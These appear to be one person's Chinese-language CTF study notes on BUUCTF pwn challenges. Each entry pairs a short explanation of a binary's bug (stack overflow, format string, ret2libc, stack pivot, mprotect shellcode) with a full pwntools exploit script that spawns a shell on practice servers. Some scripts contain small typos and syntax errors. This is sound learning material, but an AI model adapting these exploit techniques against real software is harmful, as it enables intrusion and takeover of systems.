buu第一页笔记

1、test_your_nc

 

2、Rip

日常检查 延迟绑定可以ret2libc3 有可写可读可执行段

后门函数system(”/bin/sh”)

gets()函数栈溢出

动态调试一下  pwngdb 的b 步过到gets()函数处输入几个a,根据下方动调知到偏移为15个字节 ,后要加个a*8覆盖rbp 再加个后门函数地址覆盖原返回地址 -------gets()函数从dea1开始填充a一直到deb0到rbp

Payload = b’a’*(15+8)+p64(fun_addr)

Exp:

from pwn import *

pwn="./pwn1"

#p=process(pwn)

p=remote("node4.buuoj.cn",27091)

elf=ELF(pwn)

#gdb.attach(p,'b *$rebase(0x1270)')

payload=b'a'*0x17+p64(0x401187)

#gdb.attach(p)

#pause()

p.send(payload)

p.interactive()

3、warmup_csaw_2016

检查发现保护全关,ida反汇编找到后门函数地址0x40060D直接读取flag

看主函数是会把这个后门函数的地址打印出来后面有一个栈溢出,两种解决方法,一种是直接gets()栈溢出加函数地址,另外一种是直接接收地址再栈溢出。同时动态调试一下,知道了v5的长度是0x40,且动调之后,将返回地址set改为0x40060D之后确实执行的是system(“cat flag.txt”)

payload=b’a’*(0x40+8)+p64(0x40060D)

Exp:

from pwn import *

pwn="./warmup_csaw_2016"

#p=process(pwn)

p=remote("node4.buuoj.cn",27091)

elf=ELF(pwn)

payload=b'a'*(0x40+8)+p64(0x40060D)

#gdb.attach(p)

#pause()

p.send(payload)

p.interactive()

4、ciscn_2019_n_1

日常检查,动态编译文件,64位,开启NX,ida打开就是看见func中的gets()函数栈溢出,同时结合下图就可以通过溢V1到v2改变V2的值。同时11.28125的16进制值为0x41348000

Exp1:

from pwn import *

pwn="./warmup_csaw_2016"

#p=process(pwn)

p=remote("node4.buuoj.cn",27091)

elf=ELF(pwn)

payload=b'a'*(0x2c)+p64(0x41348000)

#gdb.attach(p)

#pause()

p.send(payload)

p.interactive()

方法二就是直接溢出到返回地址,返回地址填入0x4006be这样就直接调用system函数,跳过func函数的判断和跳转

 

 

Exp2:

from pwn import *

pwn="./warmup_csaw_2016"

#p=process(pwn)

p=remote("node4.buuoj.cn",27091)

elf=ELF(pwn)

paylaod=b'a'*(0x38)+p64(0x04006BE)

#gdb.attach(p)

#pause()

p.send(payload)

p.interactive()

5、pwn1_sctf_2016

日常检查,发现后门函数有get_flag 同时func函数中的fgets可以输入,且输入I会转换为you由一个字节转换为3个,那就可以造成栈溢出

Gdb动调可以看到最后时strcpy函数把I换成了you

Exp2:

from pwn import *

pwn="./pwn1_sctf_2016"

#p=process(pwn)

p=remote("node4.buuoj.cn",27091)

elf=ELF(pwn)

get_flag=0x08048F0D

payload=b'I'*21+b'a'+p32(get_flag)#gdb.attach(p)

#gdb.attach(p)

#pause()

p.send(payload)

p.interactive()

6、jarvisoj_level0

日常检查,64位,动态编译,开了NX,后用IDA打开发现后门函数,且在vuln函数里发现read函数的栈溢出,直接padding+ba*8+后门函数地址,同时用gdb动态调试得到shell

Exp2:

from pwn import *

pwn="./level0"

p=process(pwn)

#p=remote("node4.buuoj.cn",27091)

elf=ELF(pwn)

backdoor=0x0400597

payload=b'a'*(0x88)+p64(backdoor)

p.recvline()        #要接收一下write函数输出的东西

p.send(payload)

#gdb.attach(p)

#pause()

p.send(payload)

p.interactive()

7、[第五空间2019 决赛]PWN5

很明显的格式化字符串漏洞,下图测试偏移为十

Exp:

from pwn import *

pwn="./pwn"

p=process(pwn)

#p=remote("node4.buuoj.cn",27091)

elf=ELF(pwn)

bss=0x0804C044

payload=p32(bss)+b'%10$n'

p.sendlineafter("your name:",payload)

p.sendlineafter("your passwd:",str(4))

#gdb.attach(p)

#pause()

p.send(payload)

p.interactive()

8、jarvisoj_level2

 

栈溢出但是没后门函数了,查看字符串有”/bin/sh”所以可以构造

from pwn import *

pwn="./pwn"

p=process(pwn)

#p=remote("node4.buuoj.cn",27091)

elf=ELF(pwn)

bin_sh=0x804a024

payload=b'a'*0x8c+p32(elf.sym['system'])+p32(0xdeadbeef)+p32(bin_sh)

p.sendlineafter("Input:\n",payload)

#gdb.attach(p)

#pause()

p.send(payload)

p.interactive()

9、ciscn_2019_n_8

日常检查后IDA打开就能看见只要修改VAR数组的第14项就可以取得shell,同时可以知道在BSS段,且判断的var[13]qword也就是8字节,用GDB调试也是var[13]的位置。

from pwn import *

pwn="./ciscn_2019_n_8"

p=process(pwn)

#p=remote("node4.buuoj.cn",27091)

elf=ELF(pwn)

payload=b'aaaa'*13+p64(0x11)

#gdb.attach(p)

#pause()

p.sendafter("What's your name?\n",payload)

p.send(payload)

p.interactive()

10、ciscn_2019_c_1

日常检查过后,IDA查看字符串没发现后门函数,函数encrypt()发现栈溢出,同时要先绕过while循环的检查,strlen()的检查是遇到0字节就停止,所以payload的构造可以先加个b\x00,现在的思路这道题应该是ret2libc3的类型,就是去泄露函数的地址,再借用LibcSearcher去寻找函数的基地址,最后找到system的地址,因为是64位的,所以是寄存器传参,下面第三张图找到了pop_rdi_retd的地址,再回来看IDAget函数调用前是puts函数调用过,且文件RELEO: Partial RELRO 延迟绑定,所以泄露的puts函数got表的地址就是puts的地址,所以payload=b\x00+bA*offset+8-1+p64pop_rdi+p64(puts_got)+p64(puts_addr)+p64(main)。因为第一次泄露是获得system/bin/sh的地址

所以最后还要加上main函数的地址使程序在puts函数泄露出自己的地址后再跳转回来执行我调用的system

同时gdb动态调试

第一次构造完payload后如图所示,栈上被我们布置成了这样

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

#context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./ciscn_2019_c_1"

#p=remote("node4.buuoj.cn",28102)

p=process(pwn)

elf=ELF(pwn)

pop_rdi=0x400c83

puts_plt=elf.sym['puts']

puts_got=elf.got['puts']

p.sendlineafter("choice!\n",str(1))

payload=b'\x00'+0x57*b'a'+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(elf.sym['main'])

p.sendlineafter("encrypted\n",payload)

p.recvline()    #这里接收两行是因为当时动调是程序会执行puts("Ciphertext");return p.recvline()      #puts(s);这两个然后才会Call函数puts泄露地址

puts_addr=u64(p.recv(6).ljust(8,b'\x00'))

print('puts_addr->',hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)

libcbase=puts_addr-libc.dump('puts')

sys_addr=libcbase+libc.dump('system')

bin_sh=libcbase+libc.dump('str_bin_sh')

ret=0x4006b9

payload=b'\x00'+b'a'*0x57+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

p.sendlineafter("choice!\n",str(1))

p.recv()

p.sendline(payload)

p.interactive()

11、bjdctf_2020_babystack

日常检查,64位动态编译,RELRO半开,NX打开

这题就是栈溢出没啥好说的,先输入一个数,后面再用read函数读取这个数大小的内存,这样其实就相当于gets函数

Shift+f12查看到字符串,看到后门函数,不知道为啥gdb的调试不了

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

#context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./bjdctf_2020_babystack"

#p=remote("node4.buuoj.cn",28102)

p=process(pwn)

elf=ELF(pwn)

backdoor=0x4006E7

payload=b'a'*0x18+p64(backdoor)

p.sendlineafter("your name:\n",str(0x20))

p.sendlineafter("name?\n",payload)

p.interactive()

12、get_started_3dsctf_2016

32位静态编译,IDA反汇编看一下

有后门函数,且动态调试显示偏移为0x34

要把a1a2进行判断,才能读取flag

要判断的两个值都在下方的两条红线上,所以payload=b'a'*0x38+p32(get_flag)+p32(elf.sym['exit'])+p32(0x308CD64F)+p32(0x195719D1)

要加个exit的函数远程连接的时候才会有flag回显

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

#context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./get_started_3dsctf_2016"

p=remote("node4.buuoj.cn",27651)

#p=process(pwn)

elf=ELF(pwn)

a1=0x308CD64F

a2=0x195719D1

get_flag=0x080489A0

#gdb.attach(p,'b *0x08048A40')

payload=b'a'*0x38+p32(get_flag)+p32(elf.sym['exit'])+p32(0x308CD64F)+p32(0x195719D1)

p.sendline(payload)

#pause()

print()

p.interactive()

方法二:

利用mprotect()函数把一段内存改为可读可写可执行

肯定有人疑问了为什么是0x80EB000而不是bss段的开头0x80EBF80,因为指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

bss段的话效果如图,可以看到没有成功修改内存权限,因为起始地址不对,所以这边起始地址是0x80EB000

pop3ret是用ROPgadget 找到的三个寄存器的gadget,下面是我的理解

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./get_started_3dsctf_2016"

p=remote("node4.buuoj.cn",29350)

#p=process(pwn)

elf=ELF(pwn)

mpro=0x80eb000

pop3ret=0x0804f460

mp=elf.sym['mprotect']

payload = 0x38*b'a'+p32(mp)+p32(pop3ret)+p32(mpro)+p32(0x1000)+p32(0x7)+p32(elf.sym['read'])+p32(pop3ret)+p32(0x0)+p32(mpro)+p32(0x1000)+p32(mpro)

p.sendline(payload)

payload=asm(shellcraft.sh())

p.sendline(payload)

p.interactive()

13、jarvisoj_level2_x64

日常检查,就一个NX保护,64位,动态编译,IDA看下

该函数明显栈溢出,查看字符串有/bin/sh,在data段

 

 

且很明显的看到就是该函数调用了system函数,目前构造的payload=偏移+pop_rdi+/bin/sh+system的地址,因为是64位程序,传参用寄存器rdi,用ROPgadget获得pop_rdi接下来用gdb动态调试一下遇到system会终止,但是已经很清晰了,写了exp打通了说明ida是对的,加个ret保持堆栈平衡

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./level2_x64"

#p=remote("node4.buuoj.cn",29350)

p=process(pwn)

elf=ELF(pwn)

ret=0x40061F

pop_rdi = 0x4006b3

bin_sh=0x0600A90

payload=b'a'*0x88+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(elf.sym['system'])

p.sendlineafter("Input:\n",payload)

p.interactive()

14、[HarekazeCTF2019]baby_rop

日常检查 64位,RELRO半开,延迟绑定,NX保护开启,栈不可执行

看到主函数很明显的栈溢出漏洞,且shift+f12查看字符串看到”/bin/sh”,跟前面一道题一样,payload=偏移+pop_rdi+”/bin/sh”+system_addr。

ROPgadget 找到ret(保持堆栈平衡)和pop_rdi给system函数传参

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./babyrop"

p=remote("node4.buuoj.cn",29044)

#p=process(pwn)

elf=ELF(pwn)

ret=0x400479

pop_rdi = 0x400683

bin_sh=0x601048

payload=b'a'*0x18+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(elf.sym['system'])

p.sendlineafter("your name? ",payload)

p.interactive()

15、[OGeek2019]babyrop

日常检查,RELRO全开,NX保护开,32位,IDA打开看看

根据gdb调试和看ida的函数结合的出是一道ret2libc3的题目,无后门函数,

这道题可以通过控制write函数泄露write的got的地址或者read函数的,上图v5的取值是取read函数的第三个参数,当我们构造payload=b’\x00’+b’\xff’*7时,read函数会计算\xff之后的一个\x00作为结尾,所以v5=9

通过上图函数造成栈溢出泄露,可以多泄露0x14个字节,下面是exp,但是远程连接会超时,建议libc文件搞一份

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./pwn"

p=remote("node4.buuoj.cn",26685)

#p=process(pwn)

elf=ELF(pwn)

payload=b'\x00'+b'\xff'*7

p.sendline(payload)

p.recv()

payload = b'a'*235 + p32(elf.sym['puts']) + p32(0x8048825) + p32(elf.got['puts'])

p.send(payload)

puts_addr = u32(p.recvuntil(b'\xf7'))

print(hex(puts_addr))

libc = ELF('./libc-2.23.so')

libcbase = puts_addr - libc.sym['puts']

system = libcbase + libc.sym['system']

binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

print('libcbase=',hex(libcbase))

payload=b'\x00'+b'\xff'*7

p.sendline(payload)

p.recv()

payload=b'a'*235+p32(system)+p32(0)+p32(binsh)

p.sendline(payload)

p.interactive()

16、others_shellcode

直接nc  系统调用,可以直接提权 

17ciscn_2019_n_5

日常检查,64位,只有RELEO半开,用IDA打开看看,无后门函数

第一种方法:在&name(也就是bss段上写入shellcode,pwntools自带的写shellcode只需要0x31,完全写的下),然后利用gets函数就可以读入shellcode所在地址执行后门函数,但是不知道为啥本地打不通,远程可以

Exp1:

from struct import pack

from LibcSearcher import *

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

#context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./ciscn_2019_n_5"

p=remote("node4.buuoj.cn",26340)

#p=process(pwn)

elf=ELF(pwn)

ret=0x4004c9

shellcode=asm(shellcraft.sh())

p.sendlineafter("tell me your name",shellcode)

payload=b'a'*0x28+p64(0x601080)

p.sendlineafter("me?\n",payload)

p.interactive()

方法二:

运用ret2libc,第一个read函数随便输点啥,主要是gets函数构造ROP链

Exp2:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./ciscn_2019_n_5"

#p=remote("node4.buuoj.cn",26581)

p=process(pwn)

elf=ELF(pwn)

ret=0x4004c9

rdi=0x400713

p.sendlineafter("name\n",b'gg')

payload=b'a'*0x28+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])

p.sendlineafter("me?\n",payload)

puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)

libcbase=puts_addr-libc.dump('puts')

sys_addr=libcbase+libc.dump('system')

bin_sh=libcbase+libc.dump('str_bin_sh')

p.sendlineafter("name\n",b'gg')

payload=b'a'*0x28+p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)

p.sendlineafter("me?\n",payload)

#gdb.attach(p,'b *0x4009DD')

#pause()

p.interactive()

18、ciscn_2019_en_2

64位,RELRO半开,NX保护开了,用ida打开发现很明显的retlibc

Payload的构造=偏移+pop_rdi(因为是64位的,传参用寄存器传参)+putsgot表的地址+puts的地址+ main函数的地址(因为是第一次是泄露puts函数的地址,还需要第二次写入system(/bin/sh),下图是找到rdi,很典型的ret2libc

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./ciscn_2019_en_2"

#p=remote("node4.buuoj.cn",26581)

p=process(pwn)

elf=ELF(pwn)

pop_rdi=0x400c83

ret=0x4006b9

#gdb.attach(p,'b *0x4009DD')

p.sendlineafter("choice!\n",str(1))

payload=b'\x00'+b'a'*0x57+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])

p.sendlineafter("encrypted\n",payload)

p.recvline()

p.recvline()

puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))

print('puts_addr=',hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)

libcbase=puts_addr-libc.dump('puts')

system=libcbase+libc.dump('system')

bin_sh=libcbase+libc.dump('str_bin_sh')

p.sendlineafter("choice!\n",str(1))

payload=b'\x00'+b'a'*0x57+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)

p.sendlineafter("encrypted\n",payload)

#pause()

p.interactive()

19、not_the_same_3dsctf_2016

32位,静态编译,RELRO半开,NX保护,ida打开看看,直接找到到一个栈溢出函数和一个能打开flag文件的函数,gdb动态调试一下,看看函数的运行,同时把返回地址换成get_secret函数,看看是不是我们要找的flag

普通的静态编译栈溢出,同时利用write函数将flag函数读取出来

Exp1

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./not_the_same_3dsctf_2016"

p=remote("node4.buuoj.cn",28560)

#p=process(pwn)

elf=ELF(pwn)

#gdb.attach(p,'b *08048A00')

flag=0x080ECA2D

payload=(0x2d)*b'a'+p32(0x80489A0)+p32(elf.sym['write'])+p32(elf.sym['exit'])+p32(0x1)+p32(flag)+p32(0x4)

p.sendline(payload)

#pause()

p.interactive()

方法二:

通过mprortect函数修改一段地址改为可读可写可执行,像之前做过一道题一样写入shellcode

Exp2

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./not_the_same_3dsctf_2016"

#p=remote("node4.buuoj.cn",26581)

p=process(pwn)

elf=ELF(pwn)

p3=0x0804f420

payload=b'a'*0x2d+p32(elf.sym['mprotect'])+p32(p3)+p32(0x80eb000)+p32(0x1000)+p32(0x7)

payload+=p32(elf.sym['read'])+p32(p3)+p32(0x0)+p32(0x80eb000)+p32(0x1000)+p32(0x80eb000)

p.sendline(payload)

shellcode=asm(shellcraft.sh())

p.sendline(shellcode)

p.interactive()

20、ciscn_2019_ne_5

32位,RELRO半开,NX保护,IDA打开看看

看代码就知道先发送administrator(也就是password)绕过strcmp函数执行下面的函数,

大概几个简单的函数看了看做了注释就不重点说了,下图输入1进入的函数能造成栈溢出,且会返回输入的内容,但是溢出要先溢出0xFc

 

输入4会把参数进行复制到dest这个字节型的数组中,但是其距离ebp只有0x48个字节,联合上图就可以只溢出0x48+4再构造payload进行system(/bin/sh)的调用,但是现在只找到了system函数,接下来就要利用ROPgadget

 

看下图可以看到,没有”/bin/sh”,但是有”sh,这对于system函数来说是一样的,接下来就可以写exp了。

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./ciscn_2019_ne_5"

#p=remote("node4.buuoj.cn",28560)

p=process(pwn)

elf=ELF(pwn)

#gdb.attach(p,'b *0x8048806')

sys_addr=elf.sym['system']

bin_sh=0x080482ea

payload=b'administrator'

p.sendline(payload)

p.sendlineafter("0.Exit\n:",str(1))

payload=b'a'*(0x48+4)+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh)

p.sendline(payload)

p.recv()

p.sendlineafter("0.Exit\n:",str(4))

#pause()

p.interactive()

21、铁人三项(第五赛区)_2018_rop

32位,RELRO半开,NX保护,ida打开看看

 

典型的栈溢出+ret2libc,先调用write函数把__libc_start_main函数的got地址输出出来,再

得到程序基址

Exp

from struct import pack

from LibcSearcher import *

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

#context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./2018_rop"

#p=remote("node4.buuoj.cn",28228)

p=process(pwn)

elf=ELF(pwn)

#gdb.attach(p,'b *0x0804849B')

#pause()

payload=b'a'*0x8c+p32(elf.sym['write'])+p32(elf.sym['main'])+p32(0x1)+p32(elf.got['__libc_start_main'])+p32(0x4)

p.send(payload)

#pause()

libc_main=u32(p.recv(4))

print("__libc_start_main",hex(libc_main))

libc=LibcSearcher('__libc_start_main',libc_main)

libcbase=libc_main-libc.dump('__libc_start_main')

sys_addr=libcbase+libc.dump('system')

bin_sh=libcbase+libc.dump('str_bin_sh')

print(hex(libcbase))

payload=b'a'*0x8c+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh)

p.send(payload)

p.interactive()

22、bjdctf_2020_babyrop

日常检查,64位,RELRO半开,NX保护,用ida打开发现主函数有两个函数,第一个清除缓冲区不用太在意,第二个vuln函数进入发现有栈溢出漏洞,shift+f12没有发现后门函数,这就是典型的ret2libc了

gdb动态调试一下,发现偏移为0x20,ROPgadget找一下能用的gadget,毕竟是64位的动态编译程序,且能利用的输出函数目前看到有puts,那就puts泄露got表中函数的地址,延迟绑定的原因,那就要用程序已经调用过的函数,如__libc_start_main函数或者puts函数,我就直接用puts函数了

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

#context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./bjdctf_2020_babyrop"

#p=remote("node4.buuoj.cn",26340)

p=process(pwn)

elf=ELF(pwn)

rdi=0x400733

ret=0x4004c9

#gdb.attach(p,'b *0x804849C')

p.recv()

payload=b'a'*0x28+p64(rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main'])

p.send(payload)

puts_addr=u64(p.recv(6).ljust(8,b'\x00'))

print('puts_addr',hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)

libcbase=puts_addr-libc.dump('puts')

sys_addr=libcbase+libc.dump('system')

bin_sh=libcbase+libc.dump('str_bin_sh')

payload=b'a'*0x28+p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)

p.send(payload)

#pause()

p.interactive()

23、bjdctf_2020_babystack2

64位,RELRO半开,动态编译程序,NX保护,IDA打开看看,发现后门函数

且主函数经过分析,要先输入一个数,经过判断但是不能超过int整型的10,但是下面的read函数读入的大小需要由我们第一次输入的数决定,且栈溢出需要的大小不止10,但是看ida提供的信息可以得出,if判断语句是int型的数据,也就是有符号的数,而read读入的大小是unsigned int也就是无符号,则我们可以在第一次写入-1,绕过if判断语句后read函数就可以读入一个超大的数,用gdb动态调试下

可以看到read读入的大小被改成了0xfffffff,那接下来就是简单的栈溢出了,ROPgadget找个ret保持堆栈平衡,exp如下

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

#context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./bjdctf_2020_babystack2"

#p=remote("node4.buuoj.cn",26340)

p=process(pwn)

elf=ELF(pwn)

ret=0x400599

#gdb.attach(p,'b *0x400827')

#pause()

p.recv()

payload=str(-1)

p.sendline(payload)

#pause()

p.recvline()

payload=b'a'*0x18+p64(ret)+p64(elf.sym['backdoor'])

p.sendline(payload)

#这里用sendline是因为read读入数据太大,\n截止一下

p.interactive()

24、jarvisoj_fm

32位,RELRO半开,开了canary,NX,没开PIE,IDA静态调试下

看到x等于4就可以获得shell,很明显的格式化字符串漏洞,再次运行一下程序寻找偏移为11

%n能改程序地址指向的值,改的值为我们输入的字符的个数,且x在data段上,且是四个字节。

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

#context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./fm"

#p=remote("node4.buuoj.cn",26340)

p=process(pwn)

elf=ELF(pwn)

#gdb.attach(p,'b *0x400827')

#pause()

payload=p32(0x804A02C)+b'%11$n'

p.send(payload)

p.interactive()

25、ciscn_2019_es_2

32位,RELRO半开,NX开了,IDA 打开,发现后门函数

根据上图read函数并进行动态调试后,发现偏移为0x28,造成栈溢出,完全可以payload=b'a'*0x2c+p32(hack)但是远程之后发现,这是个假的哈哈,那就要想别的办法了现在有了system函数,就差”/bin/sh”||”sh”,用ROPgadget没找到,后面看学长wp后知道是栈迁移的题目。

本题思路用到leave :mov esp,ebp ;pop ebp  和ret:pop eip

因为要执行system(“/bin/sh”),就要调用system函数,但是栈溢出不了,最多覆盖ebp和ret,那就在栈上构造,所以ret返回函数写入栈上的地址,

这就要利用第一个read函数和printf函数进行栈地址的泄露

payload=b'a'*0x24+b'cccc'

p.send(payload)

p.recvuntil(b'cccc')

ebp=u32(p.recv(4))

泄露ebp后根据ebp来计算,由于 mov esp,ebp 后,pop ebp,pop eip 后,eip会指向 esp 下一条指令的位置,所以 esp 的位置要填充无用数据, esp 的下一条指令再填充system函数的地址,后面再填充所需的数据,esp距离ebp的距离通过gdb调试可以得出为0x38,ebp距离栈的距离为0x28,所以要构造如下payload

payload=(b'aaaa'+p32(sys_addr)+b'aaaa'+p32(ebp-0x28)+b'/bin/sh\x00').ljust(0x28,b'a')

payload=payload.ljust(0x28,b'a')

payload+=p32(ebp-0x38)+p32(leave)

先构造可以执行leave指令后,执行system,就先填充四个字节的垃圾数据,然后就可以成功调用system函数,但是根据函数调用约定,要传参”/bin/sh”,是栈上传参,但是ebp距离写入栈上的地址为0x28,跟esp距离0x10个字节,中间还差4字节的偏移,也就只能ebp-0x28,在那4字节指向/bin/sh

 

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./ciscn_2019_es_2"

p=remote("node4.buuoj.cn",25692)

#p=process(pwn)

elf=ELF(pwn)

leave=0x080485FD

sys_addr=elf.sym['system']

#gdb.attach(p,'b *0x080485FE')

#pause()

p.recv()

payload=b'a'*0x24+b'cccc'

p.send(payload)

p.recvuntil(b'cccc')

ebp=u32(p.recv(4))

print(hex(ebp))

payload=(b'aaaa'+p32(sys_addr)+b'aaaa'+p32(ebp-0x28)+b'/bin/sh\x00').ljust(0x28,b'a')

payload+=p32(ebp-0x38)+p32(leave)

p.send(payload)

p.interactive()

26、jarvisoj_tell_me_something

64位,就NX开了,动态编译文件,ida打开看看,shift+f12,看到flag,ctrl+x跟进看看

动态调试寻找偏移,就是很简单的栈溢出,远程才有flag

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./guestbook"

p=remote("node4.buuoj.cn",25304)

#p=process(pwn)

elf=ELF(pwn)

#gdb.attach(p,'b *0x08048600')

#pause()

payload=b'a'*0x88+p64(0x400620)

p.send(payload)

p.interactive()

27、[HarekazeCTF2019]baby_rop2

64位,RELRO半开,NX保护开了,ida打开查看一下,查看字符串没啥,根据题目名也知道这是ret2libc,要泄露函数基址构造ROP链

构造printf(%s,printf的got表地址),那需要两个参数,64位,用rdi和rsi传参,但是这是个坑,不能泄露printf的地址,只能找别的函数的got表的地址

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./babyrop2"

p=remote("node4.buuoj.cn",26027)

#p=process(pwn)

elf=ELF(pwn)

rdi=0x400733

rsi_r15=0x400731

ret=0x4004d1

fmt_s=0x400770

#gdb.attach(p,'b *0x4009DD')

p.recv()

payload=b'a'*0x28+p64(rdi)+p64(fmt_s)+p64(rsi_r15)+p64(elf.got['read'])+p64(0x0)+p64(elf.plt['printf'])+p64(elf.sym['main'])

p.sendline(payload)

p.recvline()

read=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

print('read->',hex(read))

'''

libc=LibcSearcher('read',read)

libcbase=read-libc.dump('read')

sys_addr=libcbase+libc.dump('system')

bin_sh=libcbase+libc.dump('str_bin_sh')

'''

libc=ELF("./libc.so.6")

libcbase=read-libc.sym['read']

sys_addr=libcbase+libc.sym['system']

bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))

print(hex(libcbase))

payload=b'a'*0x28+p64(rdi)+p64(bin_sh)+p64(sys_addr)

p.sendlineafter("your name? ",payload)

#pause()

p.interactive()

28、pwn2_sctf_2016

32位,RELRO半开,NX保护,ida打开

 

